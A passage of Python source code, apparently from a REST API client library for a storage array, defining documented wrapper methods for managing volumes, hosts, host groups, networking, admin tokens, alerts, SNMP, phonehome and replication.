integer followed by a valid suffix. Accepted Suffixes ====== ======== ====== Suffix Size Bytes ====== ======== ====== S Sector (2^9) K Kilobyte (2^10) M Megabyte (2^20) G Gigabyte (2^30) T Terabyte (2^40) P Petabyte (2^50) ====== ======== ====== """ return self._set_volume(volume, size=size, truncate=False) def get_volume(self, volume, **kwargs): """Return a dictionary describing a volume or snapshot. :param volume: Name of the volume to get information about. :type volume: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET volume/:volume** :type \*\*kwargs: optional :returns: A list describing snapshots of the volume if the paramater snap is passed as True, else a dictionary describing the volume. :rtype: ResponseDict or ResponseList """ return self._request("GET", "volume/{0}".format(volume), kwargs) def add_volume(self, volume, pgroup): """Add a volume to a pgroup. :param volume: Name of the volume to add to pgroup. :type volume: str :param pgroup: pgroup to which to add volume. :type pgroup: str :returns: A dictionary mapping "name" to volume and "protection_group" to pgroup. :rtype: ResponseDict .. note:: Requires use of REST API 1.7 or later. """ return self._request("POST", "volume/{0}/pgroup/{1}".format(volume, pgroup)) def remove_volume(self, volume, pgroup): """Remove a volume from a pgroup. :param volume: Name of the volume to remove from pgroup. :type volume: str :param pgroup: pgroup from which to remove volume. :type pgroup: str :returns: A dictionary mapping "name" to volume and "protection_group" to pgroup. :rtype: ResponseDict .. note:: Requires use of REST API 1.7 or later. """ return self._request("DELETE", "volume/{0}/pgroup/{1}".format(volume, pgroup)) def list_volume_block_differences(self, volume, **kwargs): """Return a list of block differences for the specified volume. :param volume: Name of the volume to get information about. :type volume: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET volume/:volume/diff** :type \*\*kwargs: optional :returns: A list of dictionaries describing block differences between the specified volume and the base volume. :rtype: ResponseList .. note:: Requires use of REST API 1.3 or later. """ return self._request("GET", "volume/{0}/diff".format(volume), kwargs) def list_volume_private_connections(self, volume, **kwargs): """Return a list of dictionaries describing connected hosts. :param volume: Name of the volume for which to list the private connections. :type volume: str :returns: A list of dictionaries describing the volume's private connections. :rtype: ResponseList """ return self._request("GET", "volume/{0}/host".format(volume), kwargs) def list_volume_shared_connections(self, volume, **kwargs): """Return a list of dictionaries describing connected host groups. :param volume: Name of the volume for which to list the shared connections. :type volume: str :returns: A list of dictionaries describing the volume's shared connections. :rtype: ResponseList """ return self._request("GET", "volume/{0}/hgroup".format(volume), kwargs) def list_volumes(self, **kwargs): """Return a list of dictionaries describing each volume. :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET volume** :type \*\*kwargs: optional :returns: A list of dictionaries describing each volume. :rtype: ResponseList """ return self._request("GET", "volume", kwargs) def rename_volume(self, volume, name): """Rename a volume. :param volume: Name of the volume to be renamed. :type volume: str :param name: New name of volume to be renamed. :type name: str :returns: A dictionary mapping "name" to name. :rtype: ResponseDict .. note:: All snapshots of the named volume also are renamed to the new name, followed by its previous suffix. """ return self._set_volume(volume, name=name) def recover_volume(self, volume): """Recover a volume that has been destroyed but not eradicated. :param volume: Name of volume to be recovered. :type volume: str :returns: A dictionary mapping "name" to volume. :rtype: ResponseDict .. note:: This must be done within the 24 hours following a volume's destruction or it will be eradicated. """ return self._set_volume(volume, action="recover") def truncate_volume(self, volume, size): """Truncate a volume to a new, smaller size. :param volume: Name of the volume to truncate. :type volume: str :param size: Size in bytes, or string representing the size of the volume to be created. :type size: int or str :returns: A dictionary mapping "name" to volume and "size" to the volume's new size in bytes. :rtype: ResponseDict .. warnings also:: Data may be irretrievably lost in this operation. .. note:: A snapshot of the volume in its previous state is taken and immediately destroyed, but it is available for recovery for the 24 hours following the truncation. """ return self._set_volume(volume, size=size, truncate=True) # # Host management methods # def connect_host(self, host, volume, **kwargs): """Create a connection between a host and a volume. :param host: Name of host to connect to volume. :type host: str :param volume: Name of volume to connect to host. :type volume: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **POST host/:host/volume/:volume** :type \*\*kwargs: optional :returns: A dictionary describing the connection between the host and volume. :rtype: ResponseDict """ return self._request( "POST", "host/{0}/volume/{1}".format(host, volume), kwargs) def create_host(self, host, **kwargs): """Create a host are return a dictionary describing it. :param host: Name of host to be created. :type host: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **POST host/:host** :type \*\*kwargs: optional :returns: A dictionary describing the created host. :rtype: ResponseDict """ return self._request("POST", "host/{0}".format(host), kwargs) def delete_host(self, host): """Delete a host. :param host: Name of host to be deleted. :type host: str :returns: A dictionary mapping "name" to host. :rtype: ResponseDict """ return self._request("DELETE", "host/{0}".format(host)) def disconnect_host(self, host, volume): """Delete a connection between a host and a volume. :param host: Name of host to be disconnected from volume. :type host: str :param volume: Name of volume to be disconnected from host. :type volume: str :returns: A dictionary mapping "name" to host and "vol" to volume. :rtype: ResponseDict """ return self._request("DELETE", "host/{0}/volume/{1}".format(host, volume)) def get_host(self, host, **kwargs): """Return a dictionary describing a host. :param host: Name of host to get information about. :type host: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET host/:host** :type \*\*kwargs: optional :returns: A dictionary describing host. :rtype: ResponseDict """ return self._request("GET", "host/{0}".format(host), kwargs) def add_host(self, host, pgroup): """Add a host to a pgroup. :param host: Name of the host to add to pgroup. :type host: str :param pgroup: pgroup to which to add host. :type pgroup: str :returns: A dictionary mapping "name" to host and "protection_group" to pgroup. :rtype: ResponseDict """ return self._request("POST", "host/{0}/pgroup/{1}".format(host, pgroup)) def remove_host(self, host, pgroup): """Remove a host from a pgroup. :param host: Name of the host to remove from pgroup. :type host: str :param pgroup: pgroup from which to remove host. :type pgroup: str :returns: A dictionary mapping "name" to host and "protection_group" to pgroup. :rtype: ResponseDict .. note:: Requires use of REST API 1.7 or later. """ return self._request("DELETE", "host/{0}/pgroup/{1}".format(host, pgroup)) def list_host_connections(self, host, **kwargs): """Return a list of dictionaries describing connected volumes. :type host: str Name of host for which to list connections. :type \*\*kwargs: optional :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET host/:host/volume** :returns: A list of dictionaries describing host's connections. :rtype: ResponseList """ return self._request("GET", "host/{0}/volume".format(host), kwargs) def list_hosts(self, **kwargs): """Return a list of dictionaries describing each host. :type \*\*kwargs: optional :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET host** :returns: A list of dictionaries describing each host. :rtype: ResponseList """ return self._request("GET", "host", kwargs) def rename_host(self, host, name): """Rename a host. :param host: Name of host to be renamed. :type host: str :param name: New name of host to be renamed. :type name: str :returns: A dictionary mapping "name" to name. :rtype: ResponseDict """ return self.set_host(host, name=name) def set_host(self, host, **kwargs): """Set an attribute of a host. :param host: Name of host for which to set attribute. :type host: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **PUT host/:host** :type \*\*kwargs: optional :returns: A dictionary describing host. :rtype: ResponseDict """ return self._request("PUT", "host/{0}".format(host), kwargs) # # Host group management methods # def connect_hgroup(self, hgroup, volume, **kwargs): """Create a shared connection between a host group and a volume. :param hgroup: Name of hgroup to connect to volume. :type hgroup: str :param volume: Name of volume to connect to hgroup. :type volume: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **POST hgroup/:hgroup/volume/:volume** :type \*\*kwargs: optional :returns: A dictionary describing the connection between the hgroup and volume. :rtype: ResponseDict """ return self._request( "POST", "hgroup/{0}/volume/{1}".format(hgroup, volume), kwargs) def create_hgroup(self, hgroup, **kwargs): """Create a host group and return a dictionary describing it. :param hgroup: Name of hgroup to be created. :type hgroup: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **POST hgroup/:hgroup** :type \*\*kwargs: optional :returns: A dictionary describing the created hgroup :rtype: ResponseDict """ return self._request("POST", "hgroup/{0}".format(hgroup), kwargs) def delete_hgroup(self, hgroup): """Delete a host group. :param hgroup: Name of the hgroup to be deleted. :type hgroup: str :returns: A dictionary mapping "name" to hgroup. :rtype: ResponseDict """ return self._request("DELETE", "hgroup/{0}".format(hgroup)) def disconnect_hgroup(self, hgroup, volume): """Delete a shared connection between a host group and a volume. :param hgroup: Name of hgroup to be disconnected from volume. :type hgroup: str :param volume: Name of volume to be disconnected from hgroup. :type volume: str :returns: A dictionary mapping "name" to hgroup and "vol" to volume. :rtype: ResponseDict """ return self._request("DELETE", "hgroup/{0}/volume/{1}".format(hgroup, volume)) def get_hgroup(self, hgroup, **kwargs): """Return a list of dictionaries describing a host group. :param hgroup: Name of hgroup to get information about. :type hgroup: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET hgroup/:hgroup** :type \*\*kwargs: optional :returns: A dictionary describing hgroup. :rtype: ResponseDict """ return self._request("GET", "hgroup/{0}".format(hgroup), kwargs) def add_hgroup(self, hgroup, pgroup): """Add an hgroup to a pgroup. :param hgroup: Name of the hgroup to add to pgroup. :type hgroup: str :param pgroup: pgroup to which to add hgroup. :type pgroup: str :returns: A dictionary mapping "name" to hgroup and "protection_group" to pgroup. :rtype: ResponseDict """ return self._request("POST", "hgroup/{0}/pgroup/{1}".format(hgroup, pgroup)) def remove_hgroup(self, hgroup, pgroup): """Remove an hgroup from a pgroup. :param hgroup: Name of the hgroup to remove from pgroup. :type hgroup: str :param pgroup: pgroup from which to remove hgroup. :type pgroup: str :returns: A dictionary mapping "name" to hgroup and "protection_group" to pgroup. :rtype: ResponseDict .. note:: Requires use of REST API 1.7 or later. """ return self._request("DELETE", "hgroup/{0}/pgroup/{1}".format(hgroup, pgroup)) def list_hgroup_connections(self, hgroup): """Return a list of dictionaries describing shared connected volumes. :param hgroup: Name of hgroup for which to list connections. :type hgroup: str :returns: A list of dictionaries describing hgroup's connections. :rtype: ResponseList """ return self._request("GET", "hgroup/{0}/volume".format(hgroup)) def list_hgroups(self, **kwargs): """Return a list of dictionaries describing each host group. :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET hgroup** :type \*\*kwargs: optional :returns: A list of dictionaries describing each hgroup. :rtype: ResponseList """ return self._request("GET", "hgroup", kwargs) def rename_hgroup(self, hgroup, name): """Rename a host group. :param hgroup: Name of hgroup to be renamed. :type hgroup: str :param name: New name of hgroup to be renamed. :type name: str :returns: A dictionary mapping "name" to name. :rtype: ResponseDict """ return self.set_hgroup(hgroup, name=name) def set_hgroup(self, hgroup, **kwargs): """Set an attribute of a host group. :param hgroup: Name of hgroup for which to set attribute. :type hgroup: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **PUT hgroup/:hgroup** :type \*\*kwargs: optional :returns: A dictionary describing hgroup. :rtype: ResponseDict """ return self._request("PUT", "hgroup/{0}".format(hgroup), kwargs) # # Network management methods # def disable_network_interface(self, interface): """Disable a network interface. :param interface: Name of network interface to be disabled. :type interface: str :returns: A dictionary describing the interface. :rtype: ResponseDict """ return self.set_network_interface(interface, enabled=False) def enable_network_interface(self, interface): """Enable a network interface. :param interface: Name of network interface to be enabled. :type interface: str :returns: A dictionary describing the interface. :rtype: ResponseDict """ return self.set_network_interface(interface, enabled=True) def get_network_interface(self, interface): """Return a dictionary describing a network interface. :param interface: Name of network interface to get information about. :type interface: str :returns: A dictionary describing the interface. :rtype: ResponseDict """ return self._request("GET", "network/{0}".format(interface)) def list_network_interfaces(self): """Get a list of dictionaries describing network interfaces. :returns: A list of dictionaries describing each network interface. :rtype: ResponseList """ return self._request("GET", "network") def set_network_interface(self, interface, **kwargs): """Set network interface attributes. :param interface: Name of network interface for which to set attribute. :type interface: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **PUT network/:network_component** :type \*\*kwargs: optional :returns: A dictionary describing the interface. :rtype: ResponseDict """ return self._request("PUT", "network/{0}".format(interface), kwargs) def create_subnet(self, subnet, prefix, **kwargs): """Create a subnet. :param subnet: Name of subnet to be created. :type subnet: str :param prefix: Routing prefix of subnet to be created. :type prefix: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **POST subnet/:subnet** :type \*\*kwargs: optional :returns: A dictionary describing the created subnet. :rtype: ResponseDict .. note:: prefix should be specified as an IPv4 CIDR address. ("xxx.xxx.xxx.xxx/nn", representing prefix and prefix length) .. note:: Requires use of REST API 1.5 or later. """ data = {"prefix": prefix} data.update(kwargs) return self._request("POST", "subnet/{0}".format(subnet), data) def delete_subnet(self, subnet): """Delete a subnet. :param subnet: Name of the subnet to be deleted. :type subnet: str :returns: A dictionary mapping "name" to subnet. :rtype: ResponseDict .. note:: Requires use of REST API 1.5 or later. """ return self._request("DELETE", "subnet/{0}".format(subnet)) def disable_subnet(self, subnet): """Disable a subnet. :param subnet: Name of subnet to be disabled. :type subnet: str :returns: A dictionary describing the subnet. :rtype: ResponseDict .. note:: Requires use of REST API 1.5 or later. """ return self.set_subnet(subnet, enabled=False) def enable_subnet(self, subnet): """Enable a subnet. :param subnet: Name of subnet to be enabled. :type subnet: str :returns: A dictionary describing the subnet. :rtype: ResponseDict .. note:: Requires use of REST API 1.5 or later. """ return self.set_subnet(subnet, enabled=True) def get_subnet(self, subnet): """Return a dictionary describing a subnet. :param subnet: Name of the subnet to get information about. :type subnet: str :returns: A dictionary describing the subnet. :rtype: ResponseDict .. note:: Requires use of REST API 1.5 or later. """ return self._request("GET", "subnet/{0}".format(subnet)) def list_subnets(self, **kwargs): """Get a list of dictionaries describing subnets. :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET subnet** :type \*\*kwargs: optional :returns: A list of dictionaries describing each subnet. :rtype: ResponseList .. note:: Requires use of REST API 1.5 or later. """ return self._request("GET", "subnet", kwargs) def rename_subnet(self, subnet, name): """Rename a subnet. :param subnet: Current name of the subnet to be renamed. :type subnet: str :param name: New name of the subnet to be renamed. :type name: str :returns: A dictionary describing the renamed subnet. :rtype: ResponseDict .. note:: Requires use of REST API 1.5 or later. """ return self.set_subnet(subnet, name=name) def set_subnet(self, subnet, **kwargs): """Set subnet attributes. :param subnet: Name of subnet for which to set attribute. :type subnet: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **PUT subnet/:subnet** :type \*\*kwargs: optional :returns: A dictionary describing the subnet. :rtype: ResponseDict .. note:: Requires use of REST API 1.5 or later. """ return self._request("PUT", "subnet/{0}".format(subnet), kwargs) def create_vlan_interface(self, interface, subnet, **kwargs): """Create a vlan interface :param interface: Name of interface to be created. :type interface: str :param subnet: Subnet associated with interface to be created :type subnet: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **POST network/vif/:vlan_interface** :type \*\*kwargs: optional :returns: A dictionary describing the created interface :rtype: ResponseDict .. note:: Requires use of REST API 1.5 or later. """ data = {"subnet": subnet} data.update(kwargs) return self._request("POST", "network/vif/{0}".format(interface), data) def delete_vlan_interface(self, interface): """Delete a vlan interface. :param interface: Name of the interface to be deleted. :type interface: str :returns: A dictionary mapping "name" to interface. :rtype: ResponseDict .. note:: Requires use of REST API 1.5 or later. """ return self._request("DELETE", "network/{0}".format(interface)) # DNS methods def get_dns(self): """Get current DNS settings. :returns: A dictionary describing current DNS settings. :rtype: ResponseDict """ return self._request("GET", "dns") def set_dns(self, **kwargs): """Set DNS settings. :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **PUT dns** :type \*\*kwargs: optional :returns: A dictionary describing current DNS settings. :rtype: ResponseDict """ return self._request("PUT", "dns", kwargs) # ports def list_ports(self, **kwargs): """List SAN ports. :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET port** :type \*\*kwargs: optional :returns: A list of dictionaries describing each port. :rtype: ResponseList """ return self._request("GET", "port", kwargs) # # Hardware management methods # def get_drive(self, drive): """Get drive attributes. :param drive: Name of drive to get information about. :type drive: str :returns: A dictionary describing drive. :rtype: ResponseDict """ return self._request("GET", "drive/{0}".format(drive)) def list_drives(self): """Returns a list of dictionaries describing SSD and NVRAM modules. :returns: A list of dictionaries describing each drive. :rtype: ResponseList """ return self._request("GET", "drive") def get_hardware(self, component, **kwargs): """Returns a dictionary describing a hardware component. :param component: Name of hardware component to get information about. :type component: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET hardware/:component** :type \*\*kwargs: optional :returns: A dictionary describing component. :rtype: ResponseDict """ return self._request("GET", "hardware/{0}".format(component), kwargs) def list_hardware(self, **kwargs): """Returns a list of dictionaries describing hardware. :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET hardware** :type \*\*kwargs: optional :returns: A list of dictionaries describing each hardware component. :rtype: ResponseList """ return self._request("GET", "hardware", kwargs) def set_hardware(self, component, **kwargs): """Set an attribute of a hardware component. :param component: Name of component for which to set attribute. :type component: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **PUT hardware/:component** :type \*\*kwargs: optional :returns: A dictionary describing component. :rtype: ResponseDict """ return self._request("PUT", "hardware/{0}".format(component), kwargs) # # User-management methods # def _list_admin(self, **kwargs): """Return a list of dictionaries describing remote access. For the arguments you can provide to this method, see the REST API Guide on your array for the documentation on the request: GET admin. """ return self._request("GET", "admin", kwargs) def _set_admin(self, admin, **kwargs): """Set an attribute of an admin. For the arguments you can provide to this method, see the REST API Guide on your array for the documentation on the request: PUT admin/:user. """ return self._request("PUT", "admin/{0}".format(admin), kwargs) def create_api_token(self, admin, **kwargs): """Create an API token for an admin. :param admin: Name of admin for whom to create an API token. :type admin: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **POST admin/:admin/apitoken** :type \*\*kwargs: optional :returns: A dictionary describing the new API token. :rtype: ResponseDict """ return self._request("POST", "admin/{0}/apitoken".format(admin), kwargs) def delete_api_token(self, admin): """Delete the API token of an admin. :param admin: Name of admin whose API token is to be deleted. :type admin: str :returns: A dictionary mapping "name" to admin and "api_token" to None. :rtype: ResponseDict """ return self._request("DELETE", "admin/{0}/apitoken".format(admin)) def get_publickey(self, admin): """Returns a dictionary describing an admin's public key. :param admin: Name of admin whose public key to get. :type admin: str :returns: A dictionary mapping "name" to admin and "publickey" to "\*\*\*\*". :rtype: ResponseDict """ return self._request("GET", "admin/{0}".format(admin), {"publickey": True}) def get_api_token(self, admin, **kwargs): """Return a dictionary describing an admin's API token. :param admin: Name of admin whose API token to get. :type admin: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET admin/:admin/apitoken** :type \*\*kwargs: optional :returns: A dictionary describing admin's API token. :rtype: ResponseDict """ return self._request("GET", "admin/{0}/apitoken".format(admin)) def list_publickeys(self): """Return a list of dictionaries describing public keys. :returns: A list of dictionaries mapping "name" to a username and "publickey" to "\*\*\*\*" for each admin with a public key set. :rtype: ResponseList """ return self._list_admin(publickey=True) def list_api_tokens(self, **kwargs): """Return a list of dictionaries describing REST API tokens. :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET admin** :type \*\*kwargs: optional :returns: A list of dictionaries describing the API token of each admin with an API token set. :rtype: ResponseList .. note:: The API tokens are replaced with "\*\*\*\*" unless the parameter expose is passed as True. """ return self._list_admin(api_token=True, **kwargs) def refresh_admin(self, admin, **kwargs): """Refresh the admin permission cache for the specified admin. :param admin: Name of admin whose permission cache is to be refreshed. :type admin: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET admin** :type \*\*kwargs: optional :returns: A dictionary mapping "name" to admin and "role" to the admin's role. :rtype: ResponseDict .. note:: Setting the optional parameter clear to True only clears the cache without doing an LDAP lookup to get new permissions. """ return self._set_admin(admin, action="refresh", **kwargs) def refresh_admins(self): """Clear the admin permission cache. :returns: A dictionary mapping "name" to "[ALL]" and "role" to None. :rtype: ResponseDict .. note:: Does not immediately do any LDAP lookups to get new permissions. """ return self._request("PUT", "admin", {"action": "refresh", "clear": True}) def set_publickey(self, admin, key): """Set the public key associated with an admin. :param admin: Name of admin whose public key is to be set. :type admin: str :param key: New public key for admin. :type key: str :returns: A dictionary mapping "name" to admin and "publickey" to "\*\*\*\*" :rtype: ResponseDict """ return self._set_admin(admin, publickey=key) def set_password(self, admin, new_password, old_password): """Set an admin's password. :param admin: Name of admin whose password is to be set. :type admin: str :param new_password: New password for admin. :type new_password: str :param old_password: Current password of admin. :type old_password: str :returns: A dictionary mapping "name" to admin. :rtype: ResponseDict """ return self._set_admin(admin, password=new_password, old_password=old_password) # Directory Service methods def disable_directory_service(self, check_peer=False): """Disable the directory service. :param check_peer: If True, disables server authenticity enforcement. If False, disables directory service integration. :type check_peer: bool, optional :returns: A dictionary describing the status of the directory service. :rtype: ResponseDict """ if check_peer: return self.set_directory_service(check_peer=False) return self.set_directory_service(enabled=False) def enable_directory_service(self, check_peer=False): """Enable the directory service. :param check_peer: If True, enables server authenticity enforcement. If False, enables directory service integration. :type check_peer: bool, optional :returns: A dictionary describing the status of the directory service. :rtype: ResponseDict """ if check_peer: return self.set_directory_service(check_peer=True) return self.set_directory_service(enabled=True) def get_directory_service(self, **kwargs): """Return a dictionary describing directory service configuration. :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET directoryservice** :type \*\*kwargs: optional :returns: A dictionary describing the status of the directory service. :rtype: ResponseDict """ return self._request("GET", "directoryservice", kwargs) def set_directory_service(self, **kwargs): """Set an attribute of the directory service configuration. :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **PUT directoryservice** :type \*\*kwargs: optional :returns: A dictionary describing the status of the directory service. :rtype: ResponseDict """ return self._request("PUT", "directoryservice", kwargs) def test_directory_service(self): """Test the directory service. :returns: A dictionary mapping "output" to the output of the directory service test. :rtype: ResponseDict """ return self.set_directory_service(action="test") # # Support related methods # def _set_phonehome(self, **kwargs): return self._request("PUT", "array/phonehome", kwargs) def _set_remote_assist(self, **kwargs): return self._request("PUT", "array/remoteassist", kwargs) def disable_phonehome(self): """Disable hourly phonehome. :returns: A dictionary mapping "phonehome" to "disabled". :rtype: ResponseDict """ return self._set_phonehome(enabled=False) def disable_remote_assist(self): """Disable remote assist. :returns: A dictionary describing the status of the remote assist connection. :rtype: ResponseDict """ return self._set_remote_assist(action="disconnect") def enable_phonehome(self): """Enable hourly phonehome. :returns: A dictionary mapping "phonehome" to "enabled". :rtype: ResponseDict """ return self._set_phonehome(enabled=True) def enable_remote_assist(self): """Enable remote assist. :returns: A dictionary describing the status of the remote assist connection. :rtype: ResponseDict """ return self._set_remote_assist(action="connect") def get_manual_phonehome_status(self): """Get manually-initiated phonehome status. :returns: A dictionary describing the current status of a manually-initiated phonehome. :rtype: ResponseDict """ return self._request("GET", "array/phonehome") def get_phonehome(self): """Return a dictionary describing if hourly phonehome is enabled. :returns: A dictionary mapping "phonehome" to "enabled" if hourly phonehome is enabled, mapping to "disabled" otherwise. :rtype: ResponseDict """ return self.get(phonehome=True) def get_remote_assist_status(self): """Return a dictionary describing whether remote assist is enabled. :returns: A dictionary describing the current status of the remote assist connection. :rtype: ResponseDict """ return self._request("GET", "array/remoteassist") def phonehome(self, action): """Manually initiate or cancel a phonehome action. :type action: str :param action: The timeframe of logs to phonehome or cancel the current phonehome. .. note:: action must be one of: ("send_today", "send_yesterday", "send_all", "cancel"). :returns: A dictionary describing the current status of the phonehome request. :rtype: ResponseDict """ return self._set_phonehome(action=action) # # Alerts and audit records # def _set_alert_recipient(self, address, **kwargs): return self._request("PUT", "alert/{0}".format(address), kwargs) def _set_message(self, message_id, **kwargs): return self._request("PUT", "message/{0}".format(message_id), kwargs) def clear_message(self, message_id): """Clear an alert message or audit record flag. :param message_id: ID of the message to unflag. :type message_id: int or str :returns: A dictionary mapping "id" to message_id. :rtype: ResponseDict """ return self._set_message(message_id, flagged=False) def create_alert_recipient(self, address): """Add an alert recipient. :param address: Email address of alert recipient to be created. :type address: str :returns: A dictionary mapping "name" to address and "enabled" to True. :rtype: ResponseDict """ return self._request("POST", "alert/{0}".format(address)) def delete_alert_recipient(self, address): """Delete an alert recipient. :param address: Email address of alert recipient to be deleted. :type address: str :returns: A dictionary mapping "name" to address. :rtype: ResponseDict """ return self._request("DELETE", "alert/{0}".format(address)) def disable_alert_recipient(self, address): """Disable alerts to an alert recipient. :param address: Email address of alert recipient to be disabled. :type address: str :returns: A dictionary mapping "name" to address and "enabled" to False. :rtype: ResponseDict """ return self._set_alert_recipient(address, enabled=False) def enable_alert_recipient(self, address): """Enable alerts to an alert recipient. :param address: Email address of alert recipient to be enabled. :type address: str :returns: A dictionary mapping "name" to address and "enabled" to True. :rtype: ResponseDict """ return self._set_alert_recipient(address, enabled=True) def flag_message(self, message_id): """Flag an alert message or audit record. :param message_id: ID of message to be flagged. :type message_id: int or str :returns: A dictionary mapping "id" to message_id. :rtype: ResponseDict """ return self._set_message(message_id, flagged=True) def get_alert_recipient(self, address): """Return a dictionary describing an alert recipient. :param address: Email address of alert recipient to get information about. :type address: str :returns: A dictionary mapping "name" to address and "enabled" to True if that alert recipient is enabled, False otherwise. :rtype: ResponseDict """ return self._request("GET", "alert/{0}".format(address)) def list_alert_recipients(self): """Return a list of dictionaries describing alert recipients. :returns: A list of dictionaries mapping "name" to a recipient's address and "enabled" to True if that recipient is enabled, False otherwise, for each alert recipient. :rtype: ResponseList """ return self._request("GET", "alert") def list_messages(self, **kwargs): """Return a list of alert messages. :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **GET message** :type \*\*kwargs: optional :returns: A list of dictionaries describing each message. :rtype: ResponseList """ return self._request("GET", "message", kwargs) def test_alert(self): """Send test alerts to all recipients. :returns: A list of dictionaries describing the test outcome for each recipient. :rtype: ResponseList """ return self._request("PUT", "alert", {"action": "test"}) def test_alert_recipient(self, address): """Send a test alert to the specified recipient. :param address: Address of recipient of test alert. :type address: str :returns: A dictionary describing the test outcome. :rtype: ResponseDict """ return self._set_alert_recipient(address, action="test") # # SNMP managers # def create_snmp_manager(self, manager, host, **kwargs): """Create an SNMP manager. :param manager: Name of manager to be created. :type manager: str :param host: IP address or DNS name of SNMP server to be used. :type host: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **POST snmp/:manager** :type \*\*kwargs: optional :returns: A dictionary describing the created SNMP manager. :rtype: ResponseDict """ data = {"host": host} data.update(kwargs) return self._request("POST", "snmp/{0}".format(manager), data) def delete_snmp_manager(self, manager): """Delete an SNMP manager. :param manager: Name of SNMP manager to be deleted. :type manager: str :returns: A dictionary mapping "name" to manager. :rtype: ResponseDict """ return self._request("DELETE", "snmp/{0}".format(manager)) def get_snmp_engine_id(self): """Return the SNMP v3 engine ID generated for the array. :returns: A dictionary mapping "engine_id" to the array's SNMP engine ID. :rtype: ResponseDict .. note:: Requires use of SNMP v3. """ return self._request("GET", "snmp", {"engine_id": True}) def get_snmp_manager(self, manager): """Return a dictionary describing an SNMP manager. :param manager: Name of SNMP manager to get information about. :type manager: str :returns: A dictionary describing manager. :rtype: ResponseDict """ return self._request("GET", "snmp/{0}".format(manager)) def list_snmp_managers(self): """Return a list of dictionaries describing SNMP managers. :returns: A list of dictionaries describing each SNMP manager. :rtype: ResponseList """ return self._request("GET", "snmp") def rename_snmp_manager(self, manager, name): """Rename an SNMP manager. :param manager: Current name of the SNMP manager to be renamed. :type manager: str :param name: New name of the SNMP manager to be renamed. :type name: str :returns: A dictionary describing the renamed SNMP manager. :rtype: ResponseDict """ return self.set_snmp_manager(manager, name=name) def set_snmp_manager(self, manager, **kwargs): """Set an attribute of an SNMP manager. :param manager: Name of the SNMP manager for which to set an attribute. :type manager: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **PUT snmp/:manager** :type \*\*kwargs: optional :returns: A dictionary describing manager. :rtype: ResponseDict """ return self._request("PUT", "snmp/{0}".format(manager), kwargs) def test_snmp_manager(self, manager): """Send a test trap to a manager. :param manager: SNMP manager to which to send a test trap. :type manager: str :returns: A dictionary mapping "output" to the output of the test. :rtype: ResponseDict """ return self.set_snmp_manager(manager, action="test") # # Replication related methods # Note: These methods only work with REST API 1.2 and later # def connect_array(self, address, connection_key, connection_type, **kwargs): """Connect this array with another one. :param address: IP address or DNS name of other array. :type address: str :param connection_key: Connection key of other array. :type connection_key: str :param connection_type: Type(s) of connection desired. :type connection_type: list :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **POST array/connection** :type \*\*kwargs: optional :returns: A dictionary describing the connection to the other array. :rtype: ResponseDict .. note:: Currently, the only type of connection is "replication". .. note:: Requires use of REST API 1.2 or later. """ data = {"address": address, "connection_key": connection_key, "type": connection_type} data.update(kwargs) return self._request("POST", "array/connection", data) def disconnect_array(self, address): """Disconnect this array from another one. :param address: IP address or DNS name of other array. :type address: str :returns: A dictionary mapping "name" to address. :rtype: ResponseDict .. note:: Requires use of REST API 1.2 or later. """ return self._request("DELETE", "array/connection/{0}".format(address)) def list_array_connections(self, **kwargs): """Return list of connected arrays. :returns: A list of dictionaries describing each connection to another array. :rtype: ResponseList .. note:: Requires use of REST API 1.2 or later. """ return self._request("GET", "array/connection", kwargs) def throttle_array_connection(self, address, **kwargs): """Set bandwidth limits on a connection. :param address: IP address or DNS name of other array. :type address: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **PUT array/connection/:address** :type \*\*kwargs: optional :returns: A dictionary describing the connection to the other array. :rtype: ResponseDict .. note:: Requires use of REST API 1.5 or later. """ return self._request("PUT", "array/connection/{0}".format(address), kwargs) # Protection group related methods def create_pgroup(self, pgroup, **kwargs): """Create pgroup with specified name. :param pgroup: Name of pgroup to be created. :type pgroup: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **POST pgroup/:pgroup** :type \*\*kwargs: optional :returns: A dictionary describing the created pgroup. :rtype: ResponseDict .. note:: Requires use of REST API 1.2 or later. """ return self._request("POST", "pgroup/{0}".format(pgroup), kwargs) def create_pgroup_snapshot(self, source, **kwargs): """Create snapshot of pgroup from specified source. :param source: Name of pgroup of which to take snapshot. :type source: str :param \*\*kwargs: See the REST API Guide on your array for the documentation on the request: **POST pgroup** :type \*\*kwargs: optional :returns: A dictionary describing the created snapshot. :rtype: ResponseDict .. note:: 